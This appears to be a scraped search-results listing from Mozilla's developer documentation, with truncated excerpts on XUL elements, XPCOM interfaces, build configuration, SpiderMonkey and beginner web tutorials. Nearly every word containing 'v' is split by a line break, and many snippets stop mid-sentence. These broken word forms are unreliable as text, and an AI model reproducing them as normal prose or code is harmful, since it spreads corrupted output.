... attributes showcaret, src, type, transparent properties accessibletype, contentdocument, contentwindow, docshell, webna
vigation examples <iframe src="table.php" flex="2" id="browsertable" name="table_frame"/> selecting an url from a menu <menulist oncommand="donav(this);"> <menupopup> <menuitem label="mozilla" value="http://mozilla.org" /> <menuitem label="slashdot" value="http://slashdot.org"/> <menuitem label="sourceforge" value="http://sf.net" /> <menuitem label="freshmeat" value="http://freshmeat.net"/> </menupopup> </me...
...nulist> <iframe id="myframe" flex="1"/> <script> function donav(obj) { var url = obj.selecteditem.value; // note the firstchild is the menupopup element document.getelementbyid('myframe').setattribute('src', url); } </script> attributes showcaret type: boolean whether or not to cause a typing caret to be
visible in the content area.
...And 4 more matches
menuitem - Archive of obsolete content
note: if the checked attribute is set to true, and you persist its value
via the persist attribute, mozilla will fail to persist its value when the menuitem is unchecked because of bug 15232.
... a workaround is to set the autocheck attribute to false, then programmatically set the checked attribute when the user selects the item, and set it to false instead of remo
ving the attribute (i.e.
...
visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state.
...And 4 more matches
textbox - Archive of obsolete content
visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state.
... note: the beha
vior of this event has evolved over time.
...as of gecko 13.0 (firefox 13.0 / thunderbird 13.0 / seamonkey 2.10), the script code only runs in the context of the <textbox> element, matching the beha
vior of all other event handlers.
...And 4 more matches
CommandLine - Archive of obsolete content
for the sake of simplicity, the proposed solution involves the observer ser
vice to notify observers that the updated arguments are available.
... a similar and better way to implement this solution is by defining argument specific handlers with registering and unregistering functions in your command line handler ser
vice.
...gory = "m-applicationname"; var apphandler = { /* nsisupports */ queryinterface : function clh_qi(aiid) { if (aiid.equals(nsicommandlinehandler) || aiid.equals(nsifactory) || aiid.equals(nsisupports)) return this; throw components.results.ns_error_no_interface; }, /* nsicommandlinehandler */ handle : function clh_handle(acmdline) { var observerser
vice = components.classes["@mozilla.org/observer-ser
vice;1"] .getser
vice(components.interfaces.nsiobserverser
vice); observerser
vice.notifyobservers(acmdline, "commandline-args-changed", null); }, helpinfo : " -test <value> a test attribute\n", /* nsifactory */ createinstance : function mdh_ci(aouter, aiid) { if (aouter != null) { ...
...And 4 more matches
nsIContentPolicy - Archive of obsolete content
method over
view short shouldload(in unsigned long acontenttype, in nsiuri acontentlocation, in nsiuri arequestorigin, in nsisupports acontext, in acstring amimetypeguess, in nsisupports aextra, in nsiprincipal arequestprincipal); short shouldprocess(in unsigned long acontenttype, in nsiuri acontentlocation, in nsiuri arequestorigin, in nsisupports acontext, in acstring amimetype, in nsisuppo...
... type_font 14 indicates a font loaded
via @font-face rule.
... type_media 15 indicates a
video or audio load.
...And 4 more matches
2006-11-24 - Archive of obsolete content
to
view the joe's error please check the posting.
... building xpcom components with msvs 2005 november 21st: buffaloaf is ha
ving trouble getting a personal xpcom component to work under xulrunner when compiled with msvs 2005.
... luke is migrating all of his code to compile with vc8 and is ha
ving some problems.
...And 4 more matches
Security Controls - Archive of obsolete content
this principle is known as least pri
vilege.
... limiting functionality and resol
ving security weaknesses have a common goal: give attackers as few opportunities as possible to breach a system.
...an organization may have an acceptable use policy that specifies the conduct of users, including not
visiting malicious websites.
...And 4 more matches
Solaris 10 Build Prerequisites - Archive of obsolete content
optional software jds common build en
vironment (cbe).
... pro
vides build tools needed by some open-source projects (eg gnome).
... the installer must install additional sun-pro
vided packages from the os install dvd, so that dvd has to be available.
...And 4 more matches
Sunbird Theme Tutorial - Archive of obsolete content
for example, a theme can change the size and colour of the toolbar buttons, and pro
vide different icons on the buttons.
... but a theme cannot pro
vide an extra button.
...note: sunbird's
views changed at the end of december 2005.
...And 4 more matches
Scratchpad - Archive of obsolete content
scratchpad pro
vides an en
vironment for experimenting with javascript code.
... the featured
video tutorial shows a case of using scratchpad with a page run by a local web server.
... code completion scratchpad integrates the tern code analysis engine, and uses that to pro
vide autocomplete suggestions and popups containing information on the current symbol.
...And 4 more matches
Using the W3C DOM - Archive of obsolete content
« pre
viousnext » the document object has properties for accessing collections of elements, such as document.images and document.forms.
... the w3c document object model pro
vides interfaces dom elements to scriptable objects.
... w3c dom standards are well supported by modern browsers, however the standards are mo
ving target so support for newer features should be tested before use.
...And 4 more matches
New in JavaScript 1.2 - Archive of obsolete content
the following is a changelog for javascript from netscape na
vigator 3.0 to 4.0.
...netscape na
vigator 4.0 was released on june 11, 1997.
... netscape na
vigator 4.0 was the third major version of the browser with javascript support.
...And 4 more matches
New in JavaScript 1.3 - Archive of obsolete content
the following is a changelog for javascript from netscape na
vigator 4.0 to 4.5.
...netscape na
vigator 4.5 was released on october 19, 1998.
... the most significant change in javascript 1.3 was compliance with ecma-262 and unicode by remo
ving inconsistencies between javascript 1.2 and the new ecma standard (which was published in june 1997).
...And 4 more matches
XForms Select1 Element - Archive of obsolete content
you can
visually group these pre-defined items by using the choices (see the spec) element to contain them.
... note, some representations of the select1 element do not support
visual grouping.
... single-node binding special selection - this attribute, when set to 'open', allows the user to pro
vide free entry to the list.
...And 4 more matches
Mozilla XForms User Interface - Archive of obsolete content
an output bound to a date and also ha
ving @appearance='full' will display as a calendar.
... appearance - the value pro
vided by the form author gives a hint to the processor as to which widget to use to represent the xforms control.
... tabindex - defines the keyboard na
vigation sequence between controls.
...And 4 more matches
Fixing Table Inheritance in Quirks Mode - Archive of obsolete content
in version 4 browsers such as netscape na
vigator 4.x and internet explorer 4.x, tables generally "broke" the inheritance of font styling.
...this led to a number of workarounds which were designed to cater to these bugs, and also to gecko-based browsers emulating the beha
vior in some cases.
... fortunately, the beha
vior can be overcome in all cases with a single css2 rule.
...And 4 more matches
Web Standards - Archive of obsolete content
web standards are carefully designed to deliver the greatest benefits to the greatest number of web users while ensuring the long-term
viability of any document published on the web.
... designing and building with these standards simplifies and lowers the cost of production, while delivering sites that are accessible to more people and more types of internet de
vices.
... sites developed along these lines will continue to function correctly as traditional desktop browsers evolve, and as new internet de
vices come to market.
...And 4 more matches
GLSL Shaders - Game development
glsl is strongly typed and there is a lot of math invol
ving vectors and matrices.
... en
vironment setup to start with the webgl shaders you don't need much.
...ader's code goes here </script> <script id="fragmentshader" type="x-shader/x-fragment"> // fragment shader's code goes here </script> <script> // scene setup goes here </script> </body> </html> it contains some basic information like the document <title>, and some css to set the width and height of the <canvas> element that three.js will insert on the page to be the full size of the
viewport.
...And 4 more matches
Player paddle and controls - Game development
« pre
viousnext » this is the 7th step out of 16 of the gamedev phaser tutorial.
... we have the ball mo
ving and bouncing off the walls, but it quickly gets boring — there's no interacti
vity!
... rendering the paddle from the framework point of
view the paddle is very similar to the ball — we need to add a variable to represent it, load the relevant image asset, and then do the magic.
...And 4 more matches
Accessibility - Learn web development
over
view when someone describes a site as "accessible," they mean that any user can use all its features and content, regardless of how the user accesses the web — even and especially users with physical or mental impairments.
... applications should be understandable and usable by people regardless of auditory,
visual, physical, or cognitive abilities.
...the following
video pro
vides a nice introduction to it: looking to become a front-end web developer?
...And 4 more matches
Fundamental CSS comprehension - Learn web development
project brief you have been pro
vided with some raw html and an image, and need to write the necessary css to style this into a nifty little online business card, which can perhaps double as a gamer card or social media profile.
... link your css to your html file
via a <link> element.
... taking care of the selectors and rulesets pro
vided in the css resource file: next up, we'd like you to look at the four selectors, and calculate the specificity for each one.
...And 4 more matches
Type, class, and ID selectors - Learn web development
pre
vious over
view: building blocks next in this lesson we will take a look at the simplest selectors that are available, which you will probably use the most in your work.
... this kind of beha
vior can sometimes be seen in "reset stylesheets", which strips out all of the browser styling.
... using the universal selector to make your selectors easier to read one use of the universal selector is to make selectors easier to read and more ob
vious in terms of what they are doing.
...And 4 more matches
Typesetting a community school homepage - Learn web development
pre
vious over
view: styling text in this assessment we'll test your understanding of all the text styling techniques we've covered throughout this module by getting you to style the text for a community school's homepage.
... starting point to get this assessment started, you should: go and grab the html and css files for the exercise, and the pro
vided external link icon.
... project brief you have been pro
vided with some raw html for the homepage of an imaginary community college, plus some css that styles the page into a three column layout and pro
vides some other rudimentary styling.
...And 4 more matches
Learn to style HTML using CSS - Learn web development
in that module, you will learn about: css, starting with the introduction to css module more advanced html modules javascript, and how to use it to add dynamic functionality to web pages once you understand the fundamentals of html, we recommend that you learn html and css at the same time, mo
ving back and forth between the two topics.
...you should have a basic work en
vironment set up as detailed in installing basic software and understand how to create and manage files, as detailed in dealing with files — both of which are parts of our getting started with the web complete beginner's module.
...this module pro
vides a gentle beginning to your path towards css mastery with the basics of how it works, what the syntax looks like, and how you can start using it to add styling to html.
...And 4 more matches
What is the difference between webpage, website, web server, and search engine? - Learn web development
search engine a web ser
vice that helps you find other web pages, such as google, bing, yahoo, or duckduckgo.
...this is what you would generally do when
visiting a library: find a search index and look for the title of the book you want.
...a web page can embed a variety of different types of resources such as: style information — controlling a page's look-and-feel scripts — which add interacti
vity to the page media — images, sounds, and
videos.
...And 4 more matches
What is a URL? - Learn web development
?key1=value1&key2=value2 are extra parameters pro
vided to the web server.
...an anchor represents a sort of "bookmark" inside the resource, gi
ving the browser the directions to show the content located at that "bookmarked" spot.
... on an html document, for example, the browser will scroll to the point where the anchor is defined; on a
video or audio document, the browser will try to go to the time the anchor represents.
...And 4 more matches
Multimedia and Embedding - Learn web development
this module explores how to use html to include multimedia in your web pages, including the different ways that images can be included, and how to embed
video, audio, and even entire webpages.
... get started prerequisites before starting this module, you should have a reasonable understanding of the basics of html, as pre
viously covered in introduction to html.
... note: if you are working on a computer/tablet/other de
vice where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as jsbin or glitch.
...And 4 more matches
Assessment: Structuring planet data - Learn web development
pre
vious over
view: tables in our table assessment, we pro
vide you with some data on the planets in our solar system, and get you to structure it into an html table.
... project brief you are working at a school; currently your students are studying the planets of our solar system, and you want to pro
vide them with an easy-to-follow set of data to look up facts and figures about the planets.
...if you have trouble
visualising the data, look at the live example above, or try drawing a diagram.
...And 4 more matches
Functions — reusable blocks of code - Learn web development
pre
vious over
view: building blocks next another essential concept in coding is functions, which allow you to store a piece of code that does a single task inside a defined block, and then call that code whenever you need it using a single short command — rather than ha
ving to type out the same code multiple times.
... the javascript language has many built-in functions to allow you to do useful things without ha
ving to write all that code yourself.
... bear in mind that some built-in browser functions are not part of the core javascript language — some are defined as part of browser apis, which build on top of the default language to pro
vide even more functionality (refer to this early section of our course for more descriptions).
...And 4 more matches
Image gallery - Learn web development
pre
vious over
view: building blocks now that we've looked at the fundamental building blocks of javascript, we'll test your knowledge of loops, functions, conditionals and events by getting you to build a fairly common item you'll see on a lot of websites — a javascript-powered image gallery.
... project brief you have been pro
vided with some html, css and image assets and a few lines of javascript code; you need to write the necessary javascript to turn this into a working program.
...iv class="thumb-bar"> </div> the example looks like this: the most interesting parts of the example's css file: it absolutely positions the three elements inside the full-img <div> — the <img> in which the full-sized image is displayed, an empty <div> that is sized to be the same size as the <img> and put right over the top of it (this is used to apply a darkening effect to the image
via a semi-transparent background color), and a <button> that is used to control the darkening effect.
...And 4 more matches
Test your skills: Loops - Learn web development
we didn't pro
vide live editable versions of these tasks because of the risk of creating infinite loops and crashing the assessment page!
... dom manipulation: considered useful some of the questions below require you to write some dom manipulation code to complete them — such as creating new html elements, setting their text contents to equal specific string values, and nesting them inside existing elements on the page — all
via javascript.
... loops 1 in our first looping task we want you start by creating a simple loop that goes through all the items in the pro
vided myarray and prints them out on the screen inside list items (i.e., <li> elements), which are appended to the pro
vided list.
...And 4 more matches
JavaScript First Steps - Learn web development
in our first javascript module, we first answer some fundamental questions such as "what is javascript?", "what does it look like?", and "what can it do?", before mo
ving on to taking you through your first practical experience of writing javascript.
... get started prerequisites before starting this module, you don't need any pre
vious javascript knowledge, but you should have some familiarity with html and css.
... you are ad
vised to work through the following modules before starting on javascript: getting started with the web (which includes a really basic javascript introduction).
...And 4 more matches
JavaScript — Dynamic client-side scripting - Learn web development
every time a web page does more than just sit there and display static information for you to look at—displaying timely content updates, interactive maps, animated 2d/3d graphics, scrolling
video jukeboxes, or more—you can bet that javascript is probably involved.
...before attempting to learn javascript, you are strongly ad
vised to get familiar with at least these two technologies first, and perhaps others as well.
... start by working through the following modules: getting started with the web introduction to html introduction to css ha
ving pre
vious experience with other programming languages might also help.
...And 4 more matches
Understanding client-side web development tools - Learn web development
we finish up by pro
viding a complete toolchain example showing you how to get productive.
... get started now, with our "client-side tooling over
view" prerequisites you should really learn the basics of the core html, css, and javascript languages first before attempting to use the tools detailed here.
...client-side tooling over
view in this article we pro
vide an over
view of modern web tooling, what kinds of tools are available and where you’ll meet them in the lifecycle of web app development, and how to find help with indi
vidual tools.
...And 4 more matches
Information for Assistive Technology Vendors
mozilla now has enough accessibility support that we're reading for early adopters and testers to start gi
ving it a try.
...this makes it possible for the vendors of windows accessibility software, such as screen readers, voice dictation packages and screen magnifiers to pro
vide support for mozilla.
... in addition, we pro
vide some simple interfaces
via which we expose a read-only dom (document object model).
...And 4 more matches
Command line options
some options have abbre
viations, for example, "-editor" can be abbre
viated as "-edit" (available abbre
viations are described in the text below).
...note profile_name and profile_dir are quoted together, and are separated by exactly 1 space (as with the pre
vious syntax, profile_name must not contain spaces).
...you must have administrative pri
vileges.
...And 4 more matches
Creating a Language Pack
pre-build steps in the .mozconfig, you want to have mk_add_options moz_objdir=@topsrcdir@/obj-firefox-build ac_add_options --disable-compile-en
vironment ac_add_options --with-l10n-base=../l10n-central # path relative to moz_objdir ac_add_options --enable-application=[browser or mail] the given path should have your localization directory as child (i.e., a subdirectory ab-cd where ab-cd is your locale code).
...it is only useful if you want to pre
view the contents of the mergedir.
... done unpacking let's check which re
vision the binary was built from.
...And 4 more matches
Configuring Build Options
create a blank mozconfig file: echo "# my first mozilla config" > mozconfig if your mozconfig isn't in your source directory, you can also use the mozconfig en
vironment variable to specify the path to your mozconfig.
...for example, a mozconfig-dbg: mk_add_options moz_objdir=@topsrcdir@/obj-ff-dbg ac_add_options --enable-debug and a mozconfig-rel-opt: mk_add_options moz_objdir=@topsrcdir@/obj-ff-rel-opt ac_add_options --disable-debug ac_add_options --enable-optimize allow for building both versions by specifiying the configuration
via the mozconfig en
vironment variable: $ env mozconfig=/path/to/mozconfig-dbg ./mach build $ env mozconfig=/path/to/mozconfig-rel-opt ./mach build don't forget to set the mozconfig en
vironment variable for the mach run command as well.
... be aware that changing your mozconfig will require the configure process to be rerun and therefore the build will take considerably longer, so if you find yourself changing the same options regularly, it may be worth ha
ving a separate mozconfig for each.
...And 4 more matches
Old Thunderbird build
on linux, this can manifest as problems setting up the
virtualenv for running tests (failure to install pip or
virtualenv because of os access denied errors, where access is denied not because of permission problems, but because the paths being accessed have been truncated, and so do not exist).
... ha
ving the source deep in a filesystem hierarchy can also cause problems with pymake builds on windows.
... if you run into seemingly arbitrary problems in building and the source is deeply nested, try mo
ving it close to the root of your machine and re-building.
...And 4 more matches
Simple Instantbird build
build prerequisites hardware requirements: while you can build instantbird on older hardware it can take quite a bit of time to compile on slower machines, and ha
ving 8gb of ram is recommended (though you can probably still get away with 4gb).
...this will pro
vide status feedback during the lengthy clone / download process.
...on linux, this can manifest as problems setting up the
virtualenv for running tests (failure to install pip or
virtualenv because of os access denied errors, where access is denied not because of permission problems, but because the paths being accessed have been truncated, and so do not exist).
...And 4 more matches
Firefox and the "about" protocol
here is a complete list of urls in the about: pseudo protocol: about: page description about:about pro
vides an over
view of all about: pages available for your current firefox version about:addons add-ons manager about:buildconfig displays the configuration and platform used to build firefox about:cache displays information about the memory, disk, and appcache about:checkerboard switches to the checkerboarding measurement page, which allows to detect ch...
...eckerboarding issues about:config pro
vides a way to inspect and change firefox preferences and settings about:compat lists overriding site compatability fixes, linked to specific bug issues.
... about:crashes lists all crashes, which happened during the runtime of firefox (in case the user enabled the crash reporter) about:credits lists all contributors to the firefox project about:debugging switches to the developer tools debugging page, which allows you to debug add-ons, tabs and ser
vice workers about:devtools summarizes the developer tools and pro
vides links to documentation for each tool about:downloads displays all downloads done within firefox about:home start page of firefox when opening a new window about:license displays licensing information about:logo firefox logo about:memory pro
vides a way to display memory usage, save it as report and run the gc and cc ...
...And 4 more matches
MozScrolledAreaChanged
the mozscrolledareachanged event is fired when the document
view has been scrolled or resized.
... specification mozilla specific interface uievent bubbles yes cancelable yes target default
view, document default action none properties property type description targetread only eventtarget the event target (the topmost target in the dom tree).
...
viewread only windowproxy document.default
view (window of the document) detailread only long (float) 0.
...And 4 more matches
How Mozilla determines MIME Types
also, for images loaded
via <img src>, mozilla's image library will do content sniffing (never extension sniffing) to find out the real type of the image.
... file uris for file: uris, mozilla will ask the externalhelperappser
vice for a mime type.
... if the file starts with <?xml, asks the externalhelperappser
vice for a mime type for the uri.
...And 4 more matches
How to get a stacktrace with WinDbg
(the keystroke for a pipe character on us keyboards is shift+\) submit the log file on a bug or
via the support site, even if nothing seems to happen during the debug process start debugging now that firefox is opened in the debugger, you need to configure your windbg to download symbols from the mozilla symbol server.
... once the browser crashes, you will see an error (such as "access
violation") in the windbg command window.
...to pro
vide the information to the development community, submit this file with a support request or attach it to a related bug on bugzilla.
...And 4 more matches
AsyncShutdown.jsm
managing safe shutdown of asynchronous ser
vices.
...for instance, at the end of phase profilebeforechange, no ser
vice is permitted to write to the profile directory (with the exception of telemetry).
... consequently, if any ser
vice has requested i/o to the profile directory before or during phase profilebeforechange, the system must be informed that these requests need to be completed before the end of phase profilebeforechange.
...And 4 more matches
FileUtils.jsm
to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/fileutils.jsm"); the file constructor if you have a path to a file (or directory) you want to obtain an nsifile for, you can do so using the file constructor, like this: var f = new fileutils.file(mypath); method over
view nsifile getfile(string key, array patharray, bool followlinks); nsifile getdir(string key, array patharray, bool shouldcreate, bool followlinks); nsifileoutputstream openfileoutputstream(nsifile file, int modeflags); nsifileoutputstream openatomicfileoutputstream(nsifile file, int modeflags); nsifileoutputstream opensafefileoutputstream(nsifile file...
... perms_directory 0755 default permissions when creating directories methods getfile() gets a file at the specified hierarchy under a nsidirectoryser
vice key.
... nsifile getfile( string key, array patharray, bool followlinks ); parameters key the nsidirectoryser
vice key to start from (see getting special files for more info) patharray an array of path components to locate beneath the directory specified by key.
...And 4 more matches
OSFile.jsm
os.file is a new api designed for efficient, off-main thread, manipulation of files by pri
vileged javascript code.
... this api is intended to replace, in time, most xpcom-based manipulation of files (nsifile, subsets of nsiioser
vice, etc.) by javascript code.
...depending on the current load of the kernel, the current disk acti
vity, the current load of the bus, the current rotation speed of the disk, the amount of battery power, etc.
...And 4 more matches
PromiseWorker.jsm
javascript files imported into the worker scope and main thread scope which allows posting to the worker and recei
ving in the form of a promise.
...promiseworker.jsm pro
vides basepromiseworker.
...promiseworker.js pro
vides abstractworker.
...And 4 more matches
L10n testing with xcode
setting up your l10n testing en
vironment once you have your l10n testing en
vironment set up in xcode, testing your firefox on ios localization is a breeze.
... in the edit scheme screen, select run from the left pane and then na
vigate to the options tab.
... na
vigate to the newly opened ios simulator window many strings are accessibility strings and are only re
vieled when a user hovers their finger over the button.
...And 4 more matches
Localization formats
.lang files pro
vide some features that differentiate it from gettext: .lang is not dependent on php/.po library, so if our webdev team sets up a site without gettext support, we still have .lang.
...that file will have the following structure: ;getting started débuter avec firefox the english content is designated by the semi-colon and the localizer pro
vides the translation underneath.
...linux and other projects understand mozilla has a basic tool called main.lang checker, which can show any untranslated files to the localizer no need to compile to .mo file so a localizer can see his/her changes more quickly creating simple diffs .lang files will be cached which will reduce any slowness effect disadvantage to .lang no plural forms no context for localizers unless you pro
vide good comments no styling by localizers if it is needed may be slower because file is not compiled into binaries not used as a standard by any other localization project no tools to validate syntax, so a localizer may cause accidental errors that can cause breakage (level of breakage depends on level of error) cannot use po editor, which most localizers know and love gettext (.po) gette...
...And 4 more matches
Fonts for Mozilla 2.0's MathML engine
over
view mathematical formulas make use of various symbols represented by specific unicode characters.
... mozilla can display any of these symbols pro
vided suitable unicode fonts are installed.
...note that some web sites may pro
vide the required mathematical fonts as web fonts.
...And 4 more matches
Mozilla projects on GitHub
there are a number of tools and ser
vices whose code is hosted on github.
...to learn more about setting up a github account,
visit the github website.
... bugzilla-dashboard a convenient dashboard to help you get an over
view of your bugs.
...And 4 more matches
Scroll-linked effects
however, most browsers now support some sort of asynchronous scrolling in order to pro
vide a consistent 60 frames per second experience to the user.
... in the asynchronous scrolling model, the
visual scroll position is updated in the compositor thread and is
visible to the user before the scroll event is updated in the dom and fired on the main thread.
...as the scroll event listener runs in the javascript on the browser's main thread, it will be asynchronous relative to the user-
visible scrolling.
...And 4 more matches
Preference reference
changes require an application restart.browser.download.lastdir.savepersitebrowser.download.lastdir.savepersite controls whether the directory preselected in the file picker for sa
ving a file download is being remembered on a per-website (host) base.
... if set to true, the data is stored as content preference.browser.pagethumbnails.capturing_disabledthe preference browser.pagethumbnails.capturing_disabled controls whether the application creates screenshots of
visited pages which will be shown if the web page is shown in the grid of the "new tab page" (about:newtab) which offers the most often
visited pages for fast na
vigation.browser.search.context.loadinbackgroundbrowser.search.context.loadinbackground controls whether a search from the context menu with "search <search engine> for <selected text>" opening a new tab will give focus to it and load it in the foreground or keep focus on the current tab and open it in the background.browser.urlbar.formatting.enabledthe preference browser.urlbar.formatting.enabled controls whether the domain ...
... javascript.options.showinconsolethe preference javascript.options.showinconsole controls whether errors or warnings in chrome code are shown in the error console.javascript.options.stricttechnical re
view completed.mail.tabs.drawintitlebarstarting in thunderbird 17.0, the tabs are drawn in the title bar.
...And 4 more matches
Localization Use Cases
german, finnish, hungarian, all sla
vic languages), the about preposition governs the grammatical case of the complement.
... it might be the accusative (german), ablative (latin) or locative (sla
vic languages).
...first, there is de
vicestoragehelper.showformatedsize (sic): function showformatedsize(element, l10nid, size) { if (size === undefined || isnan(size)) { element.textcontent = ''; return; } // kb - 3 kb (nearest ones), mb, gb - 1.2 mb (nearest tenth) var fixeddigits = (size < 1024 * 1024) ?
...And 4 more matches
Dynamic Library Linking
it also pro
vides a method by which to condition symbols of statically linked code so that to other clients it appears as though they are dynamically loaded.
... platform notes to use the dynamic library loading functions on some platforms, certain en
vironment variables must be set at run time, and you may need to link your executable programs using special linker options.
...each platform has its own standard directories in which to look for dynamic libraries, plus a customizable list of directories specified by an en
vironment variable.
...And 4 more matches
JSS FAQ
the using jss document describes how to set up your en
vironment to run jss.
... org/mozilla/jss/asn1/set.java org/mozilla/jss/pkcs10/certificationrequest.java org/mozilla/jss/pkcs12/pfx.java org/mozilla/jss/pkix/cert/certificate.java org/mozilla/jss/pkix/cmmf/certrepcontent.java org/mozilla/jss/pkix/crmf/certreqmsg.java org/mozilla/jss/pkix/crmf/certtemplate.java org/mozilla/jss/pkix/primitive/name.java org/mozilla/jss/pro
vider/javax/crypto/jsssecretkeyfactoryspi.java org/mozilla/jss/util/utf8converter.java org/mozilla/jss/util/base64inputstream.java jss/samples/pqggen.java jss/samples/pkcs12.java if i don't call setcipherpolicy, is the domestic policy used by default?
...windows distinction and pro
vides different nt and windows builds.
...And 4 more matches
NSS tools : pk12util
this option is pro
vided as a special case.
...id encryption algorithm: pkcs #12 v2 pbe with sha-1 and 3key triple des-cbc parameters: salt: 45:2e:6a:a0:03:4d:7b:a1:63:3c:15:ea:67:37:62:1f iteration count: 1 (0x1) certificate: data: version: 3 (0x2) serial number: 13 (0xd) signature algorithm: pkcs #1 sha-1 with rsa encryption issuer: "e=personal-freemail@thawte.com,cn=thawte personal freemail c a,ou=certification ser
vices di
vision,o=thawte consulting,l=cape t own,st=western cape,c=za" alternatively, the -r prints the certificates and then exports them into separate der binary files.
...id password encryption pkcs#12 pro
vides for not only the protection of the private keys but also the certificate and meta-data associated with the keys.
...And 4 more matches
Statistics API
over
view each time a garbage collection occurs, spidermonkey keeps track of how long each phase of the collection took, along with some related data.
... there are several ways to get access to this data: the en
vironment variable moz_gctimer controls text dumping of gc stats.
... json api addons can obtain the complete data in json format
via an observer.
...And 4 more matches
JSAPI Cookbook
* this makes your c function
visible as a global function in javascript.
... */ js::rootedvalue r(cx); if (!js_callfunctionname(cx, js_getglobalobject(cx), "foo", 0, null, &r)) return false; calling a js function
via a local variable // javascript var r = f(); // where f is a local variable /* jsapi * * suppose f is a local c variable of type js::value.
... */ js::autosaveexceptionstate savedstate(cx); if (!js_callfunctionname(cx, global, "cleanup", 0, null, &r)) { /* the new error replaces the pre
vious one, so discard the saved exception state.
...And 4 more matches
JS_InitClass
all instances of the new class will inherit these properties
via the prototype chain.
...all instances of the new class will inherit these methods
via the prototype chain.
...(this is the javascript equivalent of public static methods in c++ or java.) description js_initclass initializes a jsclass and (optionally) makes it
visible to javascript code.
...And 4 more matches
SpiderMonkey 1.8
migrating to spidermonkey 1.8 spidermonkey 1.8 is not binary-compatible with pre
vious releases.
...the new beha
vior conforms to the ecmascript standard, ecma 262-3 §11.13.1.
... in certain cases, the javascript engine no longer calls jsclass.resolve callbacks repeatedly, as it did in pre
vious versions.
...And 4 more matches
SpiderMonkey 45
it continues to improve performance over pre
vious spidermonkey releases.
... if you are compiling with microsoft's
visual studio, note the minimum supported version is msvc 2013.
...on several other platforms (sparc, mips), the jit is pro
vided but not supported.
...And 4 more matches
XForms Accessibility
intoduction this article pro
vides a quick guide to how accessibility is handled in gecko for xforms..
...xforms elements beha
vior is implemented in accordance with accessible toolkit checklist.
...or you may be guided by toolkit checklist to check keyboard na
vigation for xforms controls.
...And 4 more matches
Preface
accordingly, the book is arranged so that you can follow along and create your own components or learn about different xpcom topics indi
vidually, as in a reference work.
... the top of each chapter pro
vides a list of the major topics covered.
... this book pro
vides a tutorial about building an xpcom component that controls browsing beha
vior.
...And 4 more matches
Creating XPCOM components
accordingly, the book is arranged so that you can follow along and create your own components or learn about different xpcom topics indi
vidually, as in a reference work.
... note: in general, you should try to avoid ha
ving to create xpcom components.
... preface who should read this book organization of the tutorial following along with the examples conventions acknowledgements an over
view of xpcom the xpcom solution gecko components interfaces interfaces and encapsulation the nsisupports base interface xpcom identifiers cid contract id factories xpidl and type libraries xpcom ser
vices xpcom types method types reference counting status codes variable mappings common xpcom error codes using xpcom components component examples cookie manager the webbrowserfind co...
...And 4 more matches
Components.utils
evalinsandbox() runs javascript code in a sandbox, usually used to run code with restricted pri
vileges.
... evaluate javascript code in a less-pri
vileged javascript context.
... exportfunction() export a javascript function from a more-pri
vileged to a less-pri
vileged scope, allowing it to be called in the less-pri
vileged scope.
...And 4 more matches
mozIStorageAggregateFunction
there are a number of already defined aggregate functions pro
vided by sqlite.
... last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method over
view void onstep(in mozistoragevaluearray afunctionarguments); nsivariant onfinal(); methods onstep() this is called for each row of results returned by the query.
... onfinal() this is called after all results have been obtained and notified
via mozistorageaggregatefunction.
...And 4 more matches
mozIStorageConnection
1.0 68 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) for a general over
view on how to use this interface, see storage.
... method over
view void asyncclose([optional] in mozistoragecompletioncallback acallback); void begintransaction(); void begintransactionas(in print32 transactiontype); mozistoragestatement clone([optional] in boolean areadonly); void close(); void committransaction(); void createaggregatefunction(in autf8string afunctionname, in long anumarguments, in mozistorageaggregatefunction afunction); mozistorageasyncstatement createasyncstatement(in autf8string asqlstatement); void createfunction(in autf8string afunctionname, in long anumarguments, in mozistoragefunction afunction); mozistoragestatement createstatement(in autf8string asqlstatement); void createtable(in string atablename, in string...
... note: due to a bug in sqlite, if you use the shared cache (by calling mozistorageser
vice.opendatabase()), the cloned connection's access pri
vileges will be the same as the original connection, regardless of the value you specify for the areadonly parameter.
...And 4 more matches
mozIStorageStatement
inherits from: mozistoragevaluearray last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) for an introduction on how to use this interface, see the storage over
view document.
... method over
view void initialize(in mozistorageconnection adbconnection, in autf8string asqlstatement); obsolete since gecko 1.9.1 void finalize(); mozistoragestatement clone(); autf8string getparametername(in unsigned long aparamindex); unsigned long getparameterindex(in autf8string aname); autf8string getcolumnname(in unsigned long acolumnindex); unsigned long getcolumnindex(in autf8string aname); void reset(); astring escapestringforlike(in astring avalue, in wchar aescapechar); void bindparameters(in mozistoragebindingparamsarray aparameters); mozistoragebindingparamsarray newbindingparamsarray(); void bindutf8stringparameter(in unsigned long aparamindex, in autf8string avalue...
... see the over
view document on storage for more details.
...And 4 more matches
nsICacheSession
netwerk/cache/public/nsicachesession.idlscriptable handles open synchronous and asynchronous cache entry operations along with e
victing cache entries and checking for cache de
vices instantiation according to the session storage policies.
... inherits from: nsisupports last changed in gecko 14 (firefox 14 / thunderbird 14 / seamonkey 2.11) method over
view void asyncopencacheentry(in acstring key, in nscacheaccessmode accessrequested, in nsicachelistener listener, [optional] in boolean nowait); void e
victentries(); prbool isstorageenabled(); nsicacheentrydescriptor opencacheentry(in acstring key, in nscacheaccessmode accessrequested, in boolean blockingmode); void doomentry(in acstring key, in nsicachelistener listener); attributes attribute type description doomentriesifexpired prbool expired entries will be doomed or e
victed if this attribute is set to true.
...e
victentries() this method e
victs all entries for this session's clientid according to its storagepolicy.
...And 4 more matches
nsICommandLine
this may be the original command line of this instance or a command line pro
vided remotely by another instance of the application.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) components may implement the nsicommandlinehandler interface to add custom command line handling beha
vior.
... method over
view long findflag(in astring aflag, in boolean acasesensitive); astring getargument(in long aindex); boolean handleflag(in astring aflag, in boolean acasesensitive); astring handleflagwithparam(in astring aflag, in boolean acasesensitive); void removearguments(in long astart, in long aend); nsifile resolvefile(in astring aargument); nsiuri resolveuri(in astring aargument); attributes attribute type description length long number of arguments in the command line.
